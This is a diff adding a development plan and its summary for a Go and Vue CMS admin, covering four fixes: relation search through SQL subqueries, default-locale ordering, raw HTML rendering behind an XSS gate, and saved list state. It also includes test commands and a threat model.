+Add one unexported builder (for example relationSubquery) used by both search and sort. It takes the db, the model, the Go field name from relationFieldName, the physical column from listRelationColumn and an alias index n. It parses the model with a fresh gorm.Statement{DB: db} and Parse(model), reads Schema.Relationships.Relations[field] and never derives a table, pivot or key name from a naming convention (D-02, README rule). It refuses with listInvalid (field "search" or "sort", the caller passes it) when the relation is missing, its FieldSchema lacks the column (FieldSchema.LookUpField), the column fails identifier(), any reference is polymorphic (non-empty PrimaryValue), or the type is not one of schema.Many2Many, schema.HasMany, schema.HasOne, schema.BelongsTo. The related table is aliased cabana_r(n) and the pivot cabana_p(n), so a self-referencing relation stays correct; the main table is the parsed Schema.Table, left unaliased so it names the outer FROM. Correlation by type: Many2Many joins rel.JoinTable.Table AS the pivot alias to the related alias on the references whose OwnPrimaryKey is false (pivot foreign key equals related primary key) and correlates the references whose OwnPrimaryKey is true (pivot foreign key equals main primary key); HasMany and HasOne (OwnPrimaryKey true) correlate related foreign key to main primary key; BelongsTo correlates related primary key to main foreign key. When the related schema has a field of type gorm.DeletedAt, add that column IS NULL on the related alias (Winter whereHas applies the related soft-delete scope). Quote every identifier with quotedIdent and qualifiedColumn. The builder returns the FROM part and the WHERE correlation and carries no bound values.
+
+applyListSearch: for a column with relation, append EXISTS (SELECT 1 FROM the builder's FROM WHERE the correlation AND LOWER(CAST(related alias.column AS TEXT)) LIKE ? ESCAPE backslash) to the existing OR group with the same bound pattern own columns use; drop the association join and its bookkeeping map. This applies to every relation type, so the count query never gains an outer JOIN (RESEARCH Pitfall 1). Own-column search is unchanged.
+
+applyListOrder: change it to return (*gorm.DB, error) and propagate the error from ExecuteList. Keep the existing association join and column order for BelongsTo and HasOne columns (covered by the existing artist sort). For HasMany and Many2Many columns order by the correlated scalar subquery (SELECT string_agg(CAST(related alias.column AS TEXT), ', ' ORDER BY CAST(related alias.column AS TEXT)) FROM ... WHERE correlation), which is Winter's group_concat sort and matches what relatedSelectMany displays. Emit it as a clause.OrderByColumn whose clause.Column has Raw true and whose Desc follows the request, so the existing primary-key tiebreak OrderByColumn merges into the same ORDER BY (a clause.OrderBy carrying an Expression is replaced when the tiebreak column merges into it).
+
+Create modules/cabana/query_relation_test.go (package cabana, no Docker). Fixtures: relPost (table cabana_rel_posts: ID, Title, AuthorID pointer, Author relAuthor belongsTo through AuthorID, Tags []relTag with gorm tag many2many:cabana_rel_post_tags, Notes []relNote has-many through PostID), relTag (cabana_rel_tags: ID, Name), relNote (cabana_rel_notes: ID, PostID, Body), relAuthor (cabana_rel_authors: ID, Name); a relController with ConfigDir controllers/widgets so filterFS applies and NewRecord returning a relPost pointer; columns.yaml with title (searchable), tags (relation tags, select name, searchable, sortable), notes (relation notes, select body, searchable), author (relation author, select name, searchable, sortable); config_list.yaml with showSorting true. A helper opens a DryRun GORM db with the postgres dialector on a DSN that is never dialed (host 127.0.0.1 port 1; gorm.Config DryRun true, DisableAutomaticPing true) and a recording logger (a gorm logger.Interface whose Trace appends the SQL returned by its callback and whose LogMode returns itself). A second helper builds a *service like newListService does, but with backpack.New(nil), Publish of the DryRun db and the compiled list registered as acme.demo.widgets (the id controllerRequest targets); plan 03 and Task 2 reuse both helpers. TestListRelationSearchSmoke implements the behavior above through getList.
+
+docs/backend/lists-and-filters.md: one sentence after the column options paragraph: a searchable relation column matches a record when any related record matches (belongsTo, hasOne, hasMany and belongsToMany, each through a subquery, so a record is listed and counted once), and a sortable hasMany or belongsToMany column sorts by its comma-joined values. Use acme/blog names only. The module README needs no change (no exported identifier, config key or command changed).
+
+Commit in summercms.go, staging exactly modules/cabana/query.go, modules/cabana/query_relation_test.go and docs/backend/lists-and-filters.md: fix(cabana): search and sort to-many relation columns through subqueries.</action>
+  <verify>
+    <automated>go vet ./modules/cabana &amp;&amp; go test -count=1 -run '^TestListRelationSearchSmoke$' -v ./modules/cabana 2&gt;&amp;1 | grep -- '^--- PASS: TestListRelationSearchSmoke'</automated>
+    <fails_when>Non-zero exit: go vet reports a problem, the test fails or does not exist, or the line "--- PASS: TestListRelationSearchSmoke" is absent from the output.</fails_when>
+    <automated>go test -count=1 ./cmd/summer -run TestDocsTree</automated>
+    <fails_when>Non-zero exit or "FAIL" in the output: the docs checker rejects an identifier, link or application name in the edited docs page.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `go test -count=1 -run '^TestListRelationSearchSmoke$' -v ./modules/cabana` prints `--- PASS: TestListRelationSearchSmoke` on a machine without Docker.
+    - The test asserts the recorded count SQL contains `EXISTS (SELECT 1 FROM "cabana_rel_post_tags"`, the pivot owner key correlated to `"cabana_rel_posts"."id"`, and no `LEFT JOIN`; and that the sorted query holds `string_agg` followed by the `"cabana_rel_posts"."id"` tiebreak.
+    - `grep -c 'Relationships.Relations' modules/cabana/query.go` is at least 1; `grep -c 'string_agg' modules/cabana/query.go` is at least 1; `grep -c 'EXISTS (SELECT 1 FROM' modules/cabana/query.go` is at least 1.
+    - `go vet ./modules/cabana` exits 0 and `go test -count=1 ./cmd/summer -run TestDocsTree` passes.
+    - `git show --name-only --format= HEAD` lists exactly modules/cabana/query.go, modules/cabana/query_relation_test.go and docs/backend/lists-and-filters.md.
+  </acceptance_criteria>
+  <done>A search over a belongsToMany column produces valid SQL through the pivot named by GORM's relationship and the list answers 200; to-many sort uses a correlated aggregate; the change is one cabana commit.</done>
+</task>
+
+<task type="auto" tdd="true">
+  <name>Task 2: The post form opens on the default locale: meta.enabledLocales lists the default locale first</name>
+  <precondition>git status --porcelain -- modules/cabana docs/backend prints nothing besides files this plan already committed (D-02).</precondition>
+  <files>modules/cabana/http.go, modules/cabana/locale_order_test.go, modules/cabana/README.md, docs/backend/forms.md</files>
+  <read_first>modules/cabana/http.go (enabledContentLocales near line 966 and its callers near lines 536 and 727), modules/cabana/field_ml.go (TranslationWriter, hydrateMLRecord), modules/cabana/ml_smoke_test.go (recordingWriter), modules/backpack/app.go (Publish, Lookup), modules/cabana/query_relation_test.go (the DryRun db helper from Task 1), modules/cabana/README.md (ML paragraph near line 27 and the cabana.FormMeta row near line 232), docs/backend/forms.md (ML paragraph near line 333), .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-RESEARCH.md (Defects 3 and 4, Pattern 3)</read_first>
+  <behavior>
+    - With a published TranslationWriter whose EnabledLocales returns en, pl and whose DefaultLocale returns pl, enabledContentLocales returns pl, en.
+  </behavior>
+  <action>In service.enabledContentLocales (modules/cabana/http.go), after writer.EnabledLocales succeeds, call writer.DefaultLocale(ctx, db). When it returns a non-empty code found at an index above 0, move that code to index 0 and keep the other codes in the writer's order (work on a clone; slices.Index and slices.Delete). When DefaultLocale fails, log slog.Error with the message "cabana: default locale" and the error, and return the writer's order unchanged. This is the D-03 fix: the SPA's MLField and FormView already open on enabledLocales[0], and hydrateMLRecord already puts the host column (content, excerpt, title, slug) under the default locale, so the form shows the stored values. Do not change the SPA, liftMLValues or hydrateMLRecord.
+
+Create modules/cabana/locale_order_test.go with TestEnabledLocalesDefaultFirstSmoke: a service whose backpack app publishes the Task 1 DryRun db and, with Publish typed as TranslationWriter, a recordingWriter with defaultLocale pl and enabled en, pl; enabledContentLocales returns exactly pl, en.
+
+Docs (exported field semantics, CLAUDE.md README rule): in modules/cabana/README.md say that cabana.FormMeta.EnabledLocales lists the default locale first, then the other enabled codes in the writer's order (the FormMeta table row and the ML paragraph); in docs/backend/forms.md add that the selector options list the default locale first, so every ML control starts on it. Both files use the words default locale first. No consuming application names.
+
+Commit in summercms.go, staging exactly those four paths: fix(cabana): send the default content locale first in enabledLocales.</action>
+  <verify>
+    <automated>go vet ./modules/cabana &amp;&amp; go test -count=1 -run '^TestEnabledLocalesDefaultFirstSmoke$' -v ./modules/cabana 2&gt;&amp;1 | grep -- '^--- PASS: TestEnabledLocalesDefaultFirstSmoke'</automated>
+    <fails_when>Non-zero exit: go vet reports a problem, the test fails or does not exist, or the line "--- PASS: TestEnabledLocalesDefaultFirstSmoke" is absent.</fails_when>
+    <automated>go test -count=1 ./cmd/summer -run TestDocsTree</automated>
+    <fails_when>Non-zero exit or "FAIL" in the output.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `go test -count=1 -run '^TestEnabledLocalesDefaultFirstSmoke$' -v ./modules/cabana` prints `--- PASS: TestEnabledLocalesDefaultFirstSmoke`.
+    - `grep -c 'DefaultLocale' modules/cabana/http.go` is greater than before the task (enabledContentLocales calls it).
+    - `grep -ic 'default locale first' modules/cabana/README.md docs/backend/forms.md` reports at least 1 for each file (both were 0 before the task).
+    - `go test -count=1 ./cmd/summer -run TestDocsTree` passes.
+    - `git show --name-only --format= HEAD` lists exactly modules/cabana/http.go, modules/cabana/locale_order_test.go, modules/cabana/README.md and docs/backend/forms.md.
+  </acceptance_criteria>
+  <done>Every form and relation-child schema sends the default locale first, so ML fields open on the stored host values.</done>
+</task>
+
+<task type="auto" tdd="true">
+  <name>Task 3: Saving an imported post keeps its HTML: FormatHTML renders raw HTML behind the unchanged safety gate</name>
+  <reversibility rating="costly">After this change admin saves, imports and Journal API writes store raw HTML in content_html; reverting the renderer does not clean rows already saved, each would need a re-render.</reversibility>
+  <files>../sm-journal-plugin/classes/format_html.go, ../sm-journal-plugin/classes/format_html_test.go, ../sm-journal-plugin/README.md</files>
+  <read_first>../sm-journal-plugin/classes/format_html.go, ../sm-journal-plugin/classes/format_html_test.go, ../sm-journal-plugin/classes/check_html_test.go, ../sm-journal-plugin/controllers/posts.go (preparePostWrite near line 204), ../sm-journal-plugin/README.md (Posts bullet near line 21, API table row for classes.CheckHTML near line 180), .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-RESEARCH.md (Data loss on save, Pattern 4, Pitfall 5)</read_first>
+  <behavior>
+    - FormatHTML of two HTML paragraphs separated by a newline returns them unchanged after trimming.
+    - FormatHTML of a markdown heading followed by a raw footer element keeps the footer element.
+    - Every TestFormatHTMLRejectsUnsafeHTML case still passes (script, iframe, event handler, javascript, vbscript and data URLs are refused by the gate).
+  </behavior>
+  <action>In ../sm-journal-plugin/classes/format_html.go import github.com/yuin/goldmark/renderer/html (a package of the already-required goldmark v1.8.6; no go.mod change) and add goldmark.WithRendererOptions(html.WithUnsafe()) to markdownEngine, with a comment that Winter's Markdown::parse passes raw HTML through and rejectUnsafe gates the result (D-03, PHP parity). Rename the local result variable in FormatHTML and the parameters of CheckHTML and rejectUnsafe that share the imported package's name (for example out and doc) so nothing shadows the import. Keep the rejectUnsafe call after the render, the three gate patterns and CheckHTML unchanged. Do not touch cabana.RenderMarkdown in summercms.go (the admin preview stays safe-mode).
+
+Add TestFormatHTMLKeepsRawHTML to classes/format_html_test.go with the two keep cases from the behavior list.
+
+../sm-journal-plugin/README.md: extend the Posts bullet: FormatHTML passes raw HTML in content through unchanged (Winter parity), and the gate still refuses script, iframe, object and embed tags, event handlers and javascript, vbscript and data URLs on every write path (admin save, journal:import-posts, Journal API writes). The API response shapes are unchanged.
+
+Commit in ../sm-journal-plugin on main, staging exactly classes/format_html.go, classes/format_html_test.go and README.md (go.work.sum stays untracked): fix(classes): keep raw HTML in content_html behind the safety gate. Do not push; plan 02 pushes.</action>
+  <verify>
+    <automated>go -C ../sm-journal-plugin vet ./... &amp;&amp; go -C ../sm-journal-plugin test -count=1 ./classes/ &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^TestFormatHTMLKeepsRawHTML$' -v ./classes/ 2&gt;&amp;1 | grep -- '^--- PASS: TestFormatHTMLKeepsRawHTML'</automated>
+    <fails_when>Non-zero exit: vet fails, any classes test fails (including TestFormatHTMLRejectsUnsafeHTML), or the line "--- PASS: TestFormatHTMLKeepsRawHTML" is absent.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `go -C ../sm-journal-plugin test -count=1 ./classes/` prints `ok` for the classes package.
+    - `grep -c 'WithUnsafe' ../sm-journal-plugin/classes/format_html.go` is 1 and `grep -c 'rejectUnsafe(' ../sm-journal-plugin/classes/format_html.go` is unchanged from before the task.
+    - `go -C ../sm-journal-plugin vet ./...` exits 0.
+    - `git -C ../sm-journal-plugin show --name-only --format= HEAD` lists exactly classes/format_html.go, classes/format_html_test.go and README.md.
+    - `git -C ../sm-journal-plugin status --porcelain -- go.mod go.sum` prints nothing (no dependency change).
+  </acceptance_criteria>
+  <done>Imported HTML survives an admin save, import or API write, and the XSS gate still refuses the dangerous patterns.</done>
+</task>
+
+<task type="auto" tdd="true">
+  <name>Task 4: The posts list remembers its state: URL plus browser storage, restored on entry before the first list request</name>
+  <precondition>git status --porcelain -- admin scripts/check-phase10.sh modules/boardwalk prints nothing (no in-flight edit by the concurrent session, D-02).</precondition>
+  <files>admin/src/state/listState.ts, admin/src/views/ListView.vue, admin/src/state/useAuth.ts, admin/src/state/useSidebar.ts, admin/tests/list/ListView.test.ts, scripts/check-phase10.sh, modules/boardwalk/dist/</files>
+  <read_first>admin/src/views/ListView.vue (whole script block, especially replaceQuery, loadList and the watch on listQueryKey), admin/src/app/listQuery.ts (parseListQuery, toListQuery, listQueryKey), admin/src/app/controllerRoutes.ts (controllerIdFromParams, controllerPath), admin/src/state/useSidebar.ts (storage access pattern and header comment), admin/src/state/useAuth.ts (logout), admin/src/views/FormView.vue (listPath, backPath, go, onLeave, onDelete, redirectTarget: read only, it is not changed), admin/tests/list/ListView.test.ts (routes, mountApp, requestsTo, queryOf), admin/tests/helpers.ts (resetState clears storage), admin/tests/smoke/shell.smoke.test.ts (asserts only the sidebar key is stored after mounting a list), scripts/check-phase10.sh (hygiene storage rule near line 370), scripts/check-admin-dist.sh, .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-CONTEXT.md (D-01)</read_first>
+  <behavior>
+    - Mounting /acme/demo/widgets with no query after writeListState stored sort code desc and filter active true: the first list GET carries sort=code, dir=desc and filter[active]=true, and the router URL carries them.
+    - Mounting /acme/demo/widgets?search=blue: the stored state for acme.demo.widgets holds search blue (the URL wins).
+  </behavior>
+  <action>Implements D-01 as revised: no server call, table, migration or route.
+
+Create admin/src/state/listState.ts, the only module besides useSidebar.ts that touches browser storage. Exports: LIST_STATE_PREFIX equal to summer-admin.list: (the key is the prefix plus the controller id, one key per list; Claude's discretion on naming, following SIDEBAR_KEY); readListState(controllerId) returning a ListQuery: it reads the key, JSON-parses it, accepts only a plain object whose values are strings, and passes it through parseListQuery so malformed stored values are dropped exactly like a hand-edited URL; anything else removes the key and returns an empty query; writeListState(controllerId, query) stores JSON of toListQuery(query) when listQueryKey(query) differs from the empty query's key and removes the key otherwise, so an empty list never leaves an entry; clearListStates() removes every key with the prefix. Wrap every storage access in try/catch like useSidebar.ts: disabled or full storage is a no-op and the URL still carries the state.
+
+admin/src/views/ListView.vue: keep the immediate watch on listQueryKey(query) but make its handler decide before any list request. When the current query is empty and readListState(controllerId) is non-empty, call router.replace with path route.path and query toListQuery(stored) and return without loading (the watch runs again with the restored query). Otherwise call writeListState(controllerId, query.value) (the URL wins), then clear the selection, sync searchText and call loadList as today. replaceQuery calls writeListState with the next query before router.replace, so a user who clears every control stores the empty state and the following empty-query run loads unfiltered instead of restoring. The same handler covers navigating to the same list while it is filtered: the query empties without replaceQuery and the stored query comes back. In loadList, after the generation check: when the response status is 422, writeListState(controllerId, an empty query) so a stale stored filter or sort never sticks; when meta.last_page is at least 1 and meta.page is above it, replaceQuery with the current query and page set to meta.last_page. FormView is not changed: its back, cancel, save-and-close, delete and redirect navigation goes to the bare list path, and this entry restore puts the stored query into the URL before the first list request, which is how the form and the navigation return to the list with its query (D-01).
+
+admin/src/state/useAuth.ts: logout calls clearListStates() in its finally block next to clearUser(), so the next admin on the same browser sees none of the previous searches.
+
+admin/src/state/useSidebar.ts: rewrite the header sentence that says nothing else is ever written to browser storage so it names listState.ts as the only other writer (list query parameters only, never tokens or record data).
+
+scripts/check-phase10.sh: in the hygiene storage rule allow admin/src/state/listState.ts in addition to useSidebar.ts (two grep -v path prefixes) and update its comment and message to name both files; the self-test plant under admin/src/__plant must still be refused.
+
+admin/tests/list/ListView.test.ts: add the two smoke cases from the behavior list, importing writeListState and readListState from ../../src/state/listState (this also satisfies the hygiene rule that every source file is imported by a test). Full coverage is plan 03.
+
+Rebuild the embedded SPA with npm --prefix admin run build and commit modules/boardwalk/dist in the same commit as the SPA change. Commit in summercms.go, staging exactly admin/src/state/listState.ts, admin/src/views/ListView.vue, admin/src/state/useAuth.ts, admin/src/state/useSidebar.ts, admin/tests/list/ListView.test.ts, scripts/check-phase10.sh and modules/boardwalk/dist: fix(admin): keep list state in the URL and browser storage.</action>
+  <!-- planner-discipline-allow: localStorage|sessionStorage|indexedDB|document\.cookie -->
+  <verify>
+    <automated>npm --prefix admin run typecheck &amp;&amp; npm --prefix admin test -- tests/list/ListView.test.ts tests/form/FormView.test.ts tests/smoke tests/state</automated>
+    <fails_when>Non-zero exit, or the vitest summary line reports any "failed" test or file.</fails_when>
+    <automated>bash scripts/check-admin-dist.sh</automated>
+    <fails_when>Non-zero exit or "modules/boardwalk/dist is stale" on stderr.</fails_when>
+    <automated>test -z "$(grep -rnE 'localStorage|sessionStorage|indexedDB|document\.cookie' admin/src | grep -v -e '^admin/src/state/useSidebar.ts:' -e '^admin/src/state/listState.ts:')"</automated>
+    <fails_when>Non-zero exit: a browser-storage reference exists in admin/src outside useSidebar.ts and listState.ts.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - The vitest run passes, including the two new list-state smoke cases and the unchanged shell smoke test that expects only the sidebar key after mounting a list without query.
+    - `bash scripts/check-admin-dist.sh` prints "modules/boardwalk/dist matches a fresh build".
+    - `grep -c 'summer-admin.list:' admin/src/state/listState.ts` is 1; `grep -c 'clearListStates' admin/src/state/useAuth.ts` is at least 1; `grep -c 'admin/src/state/listState.ts' scripts/check-phase10.sh` is at least 1; `grep -c 'readListState' admin/src/views/ListView.vue` is at least 1.
+    - Browser-storage references in admin/src appear only in useSidebar.ts and listState.ts (third verify command).
+    - `git show --name-only --format= HEAD` lists only the seven staged paths (dist files under modules/boardwalk/dist).
+  </acceptance_criteria>
+  <done>The posts list keeps its search, sort, filters and page in the URL and per list in browser storage, restores them when entered without params, lets a URL win, and forgets them on logout; the embedded build matches.</done>
+</task>
+
+</tasks>
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| Admin SPA → cabana list API | search, sort, dir, page, per_page and filter[name] come from the URL or browser storage and are untrusted |
+| Browser storage → ListView | a stored list query may be stale, hand-edited or written by another script on the admin origin |
+| Admin author → content_html → public site | post bodies with raw HTML are stored and served through the Journal API to the public Nuxt site |
+| Shared browser between admins | stored list queries outlive a session unless cleared |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-16.1-01 | Tampering (SQL injection) | modules/cabana/query.go relation subquery builder | high | mitigate | Relation and column names come only from the compiled list schema and GORM's parsed relationship (LookUpField, identifier()); every identifier is quoted through the dialector (quotedIdent/qualifiedColumn); the search pattern is a bound parameter with LIKE escaping; unknown or polymorphic relations are refused with 422 before any SQL runs; permission is still checked by protect() before ExecuteList |
+| T-16.1-02 | Tampering / Elevation (stored XSS) | ../sm-journal-plugin/classes/format_html.go | medium | mitigate | rejectUnsafe stays after the now-unsafe render on every write path (admin, import, API) and refuses script/iframe/object/embed, on* handlers and javascript/vbscript/data URLs; authors are authenticated admins with the journal posts permission; the admin preview (cabana.RenderMarkdown, v-html) stays safe-mode; the public layer keeps its own HTML gate (T-16-01). Residual (accepted, PHP parity): inert tags such as style, footer or form pass, which PHP's Html::clean would have stripped for admins without unsafe-markdown rights |
+| T-16.1-03 | Information Disclosure | admin/src/state/listState.ts | low | mitigate | Only list query parameters are stored (no tokens, no record data) under summer-admin.list: keys; logout clears them; the check-phase10.sh hygiene allowlist confines browser storage to useSidebar.ts and listState.ts |
+| T-16.1-04 | Tampering | restored list state | low | mitigate | Stored values pass through parseListQuery (drops malformed page, dir, empty filters); the server re-validates every parameter against the compiled schema and answers 422; a 422 removes the stored state so it cannot stick |
+| T-16.1-05 | Denial of Service | correlated EXISTS / string_agg subqueries | low | accept | One subquery per searchable relation column per row, bounded by the page and by pivot primary keys; admin-only route |
+| T-16.1-SC | Tampering | npm/go installs | high | mitigate | No package is installed: github.com/yuin/goldmark/renderer/html is a package of the already-required goldmark v1.8.6 (RESEARCH Package Legitimacy Audit: no packages); no npm dependency is added; go.mod and package.json stay unchanged (Task 3 acceptance) |
+</threat_model>
+
+<verification>
+- Task 1: `--- PASS: TestListRelationSearchSmoke`; Task 2: `--- PASS: TestEnabledLocalesDefaultFirstSmoke`; Task 3: classes tests `ok` and `--- PASS: TestFormatHTMLKeepsRawHTML`; Task 4: vitest green, dist matches, storage confined.
+- `go vet ./...` (summercms.go) and `go -C ../sm-journal-plugin vet ./...` exit 0.
+- `go test -count=1 ./cmd/summer -run TestDocsTree` passes.
+- summercms.go has three new commits from this plan (cabana search and sort, cabana locales, admin list state), sm-journal-plugin one; nothing is pushed.
+</verification>
+
+<success_criteria>
+- D-02: relation search over belongsToMany, hasMany, hasOne and belongsTo columns and to-many sort produce valid SQL from GORM's relationship metadata.
+- D-03: forms open on the default locale; FormatHTML keeps raw HTML behind the gate.
+- D-01: list state lives in the URL and per list in browser storage, restored on entry, URL wins, cleared on logout.
+- No server-side storage, migration, route or OpenAPI change; no dependency added.
+</success_criteria>
+
+<output>
+Create `.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-01-SUMMARY.md` when done, listing the commit hashes per repository (plan 02 tags and pushes them).
+</output>

.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-01-SUMMARY.md

@@ -0,0 +1,230 @@
+---
+phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
+plan: 01
+subsystem: admin
+tags: [gorm, postgres, cabana, vue, localStorage, goldmark, i18n]
+
+requires:
+  - phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
+    provides: Journal posts admin on cabana, the UAT deployment and its defect reports
+provides:
+  - Relation search through correlated EXISTS subqueries and to-many sort through string_agg, both built from GORM's parsed relationship
+  - Default content locale first in meta.enabledLocales, so ML form controls open on the stored host values
+  - sm-journal-plugin FormatHTML keeps raw HTML in content_html; the unsafe-HTML gate is unchanged
+  - Per-list query memory in the URL and browser storage (summer-admin.list:<controller>), restored on entry and cleared on logout
+affects: [16.1-02 release and redeploy, 16.1-03 unit tests, 16.2 blog editor]
+
+actuals:
+  tokens: 8422     # chars/4 over the realized diff of both repos, without the generated dist bundle
+  tasks: 4
+  commits: 3       # summercms.go, measured from the ledger; sm-journal-plugin adds 1 (528d2d8)
+plan_head_before: 3ca6a0d4b256a8e104154b36accaf3024ee0bdd4
+plan_head_after: 9cac45c3894815bc8fea91027f762a27635f67a2
+
+tech-stack:
+  added: []
+  patterns:
+    - "relationSubquery: relation SQL is built from gorm.Statement.Parse plus Schema.Relationships.Relations, aliased cabana_r<n>/cabana_p<n>, with no bound values"
+    - "DryRun SQL harness (openDryRunDB + sqlRecorder + newDryRunListService) tests list SQL without Docker"
+    - "List state: URL first, browser storage as the per-list memory, decided before the first list request"
+
+key-files:
+  created:
+    - modules/cabana/query_relation_test.go
+    - modules/cabana/locale_order_test.go
+    - admin/src/state/listState.ts
+  modified:
+    - modules/cabana/query.go
+    - modules/cabana/http.go
+    - modules/cabana/README.md
+    - docs/backend/lists-and-filters.md
+    - docs/backend/forms.md
+    - admin/src/views/ListView.vue
+    - admin/src/state/useAuth.ts
+    - admin/src/state/useSidebar.ts
+    - admin/tests/list/ListView.test.ts
+    - admin/tests/smoke/list.smoke.test.ts
+    - scripts/check-phase10.sh
+    - modules/boardwalk/dist/
+    - ../sm-journal-plugin/classes/format_html.go
+    - ../sm-journal-plugin/classes/format_html_test.go
+    - ../sm-journal-plugin/README.md
+
+key-decisions:
+  - "Every relation type is searched through EXISTS, belongsTo and hasOne included, so the count query never gains an outer JOIN; only to-one sort keeps the association join"
+  - "Relation sort validates through the same builder, so an unknown related column or a polymorphic relation answers 422 on sort as well as on search"
+  - "The selected related column is resolved through FieldSchema.LookUpField and emitted by its DBName"
+  - "Stored list state is the JSON of toListQuery (flat URL keys) and is read back through parseListQuery, so the stored format and the URL format are the same"
+
+patterns-established:
+  - "Pure DryRun tests for cabana SQL shape: reuse openDryRunDB and newDryRunListService from query_relation_test.go"
+
+requirements-completed: [D-01, D-02, D-03]
+
+coverage:
+  - id: D1
+    description: "List search over belongsToMany, hasMany and belongsTo columns uses EXISTS subqueries named from GORM's relationship and answers 200; to-many sort orders by a string_agg subquery with the primary-key tiebreak"
+    requirement: D-02
+    verification:
+      - kind: unit
+        ref: "modules/cabana/query_relation_test.go#TestListRelationSearchSmoke"
+        status: pass
+    human_judgment: false
+  - id: D2
+    description: "meta.enabledLocales lists the default locale first, then the writer's order"
+    requirement: D-03
+    verification:
+      - kind: unit
+        ref: "modules/cabana/locale_order_test.go#TestEnabledLocalesDefaultFirstSmoke"
+        status: pass
+    human_judgment: false
+  - id: D3
+    description: "FormatHTML keeps raw HTML (HTML paragraphs, a raw footer) and still refuses the unsafe cases"
+    requirement: D-03
+    verification:
+      - kind: unit
+        ref: "../sm-journal-plugin/classes/format_html_test.go#TestFormatHTMLKeepsRawHTML"
+        status: pass
+      - kind: unit
+        ref: "../sm-journal-plugin/classes/format_html_test.go#TestFormatHTMLRejectsUnsafeHTML"
+        status: pass
+    human_judgment: false
+  - id: D4
+    description: "List query restored from browser storage before the first list request; the URL wins and overwrites the stored query"
+    requirement: D-01
+    verification:
+      - kind: unit
+        ref: "admin/tests/list/ListView.test.ts#list state in the URL and browser storage (D-01)"
+        status: pass
+      - kind: other
+        ref: "bash scripts/check-admin-dist.sh"
+        status: pass
+    human_judgment: false
+  - id: D5
+    description: "On UAT the Journal posts list searches by category, remembers its filters after opening a post, and the post form shows the stored content and excerpt"
+    requirement: D-01
+    verification: []
+    human_judgment: true
+    rationale: "Needs the real UAT database and an admin login behind basic auth; plan 02 redeploys and checks it by hand"
+
+duration: 11min
+completed: 2026-10-09
+status: complete
+---
+
+# Phase 16.1 Plan 01: Journal admin fixes Summary
+
+**Fixed the four UAT defects in the Journal posts admin:**
+- **Relation search:** list search runs a correlated EXISTS subquery whose pivot, key and table names come from GORM's parsed relationship (`Schema.Relationships.Relations`), and to-many sort orders by a `string_agg` subquery.
+- **Form locale:** `meta.enabledLocales` lists the default content locale first.
+- **Raw HTML:** goldmark renders with `html.WithUnsafe()` behind the unchanged XSS gate.
+- **List state:** each list's query is kept in the URL and in browser storage.
+
+## Performance
+
+- **Duration:** 11 min
+- **Started:** 2026-10-09T18:53:15Z
+- **Completed:** 2026-10-09T19:04:24Z
+- **Tasks:** 4
+- **Files modified:** 17 in summercms.go (including the dist bundle) and 3 in sm-journal-plugin
+
+## Accomplishments
+
+- **Relation search (D-02).** Search over a belongsToMany column now answers 200. The count query reads `EXISTS (SELECT 1 FROM "<pivot>" AS "cabana_p0" JOIN "<related>" AS "cabana_r0" ON ... WHERE "cabana_p0".<owner fk> = "<main>"."id" AND LOWER(CAST(...)) LIKE ?)` and has no outer JOIN. hasMany, hasOne and belongsTo search use the same EXISTS form.
+  - A record that matches through several related rows is counted and listed once.
+  - Unqualified scope predicates (`id IN (...)`, `user_id = ?`) stay unambiguous.
+  - A soft-deleting related model adds `deleted_at IS NULL`, matching Winter's whereHas.
+  - Polymorphic relations and unknown related columns answer 422.
+- **Relation sort (D-02).** A hasMany or belongsToMany column sorts by `(SELECT string_agg(..., ', ' ORDER BY ...) FROM ... WHERE <correlation>)`, followed by the primary-key tiebreak. belongsTo and hasOne sorts keep the association join.
+- **Form locale (D-03).** `enabledContentLocales` moves `TranslationWriter.DefaultLocale` to index 0, so MLField and FormView open on the locale whose values are in the host columns (content, excerpt, title, slug).
+- **Raw HTML (D-03).** sm-journal-plugin `FormatHTML` passes raw HTML through, as Winter does. Admin saves, imports and Journal API writes no longer replace imported bodies with `<!-- raw HTML omitted -->`.
+  - `rejectUnsafe` still runs after the render.
+  - `cabana.RenderMarkdown` (the admin preview) is untouched.
+- **List state (D-01).** The list query is stored per list under `summer-admin.list:<controller id>`.
+  - A list entered without list params restores the stored query into the URL before its first list request. A URL with list params wins and overwrites the stored query.
+  - A 422 forgets the stored query, and a page past `last_page` is clamped to the last page.
+  - Logout clears every stored list query.
+
+## Task Commits
+
+summercms.go (master, not pushed):
+
+1. **Task 1: Tracer, relation search and sort through subqueries:** `06d75cb` (fix)
+2. **Task 2: Default content locale first in enabledLocales:** `bd8626e` (fix)
+4. **Task 4: List state in the URL and browser storage, rebuilt dist:** `9cac45c` (fix)
+
+sm-journal-plugin (main, not pushed; plan 02 pushes):
+
+3. **Task 3: Keep raw HTML in content_html behind the safety gate:** `528d2d8` (fix)
+
+Each task is one commit with the message the plan named; the plan specifies one commit per task. RED was shown before each implementation:
+- Tasks 1, 2 and 3: the new test failed on its assertion against the old code (the broken `"Tags"."rel_post_id"` join, `[en pl]`, and `<!-- raw HTML omitted -->`).
+- Task 4: the two new vitest cases were run against the HEAD `ListView.vue` and failed on their assertions.
+
+## Files Created/Modified
+
+- `modules/cabana/query.go`: `relationSubquery` / `relationSQL`, EXISTS search, to-many `string_agg` sort, and `applyListOrder` now returns an error.
+- `modules/cabana/query_relation_test.go`: relation fixtures, the DryRun db and recording logger, `newDryRunListService`, and `TestListRelationSearchSmoke`.
+- `modules/cabana/http.go`: `enabledContentLocales` puts the default locale first.
+- `modules/cabana/locale_order_test.go`: `TestEnabledLocalesDefaultFirstSmoke`.
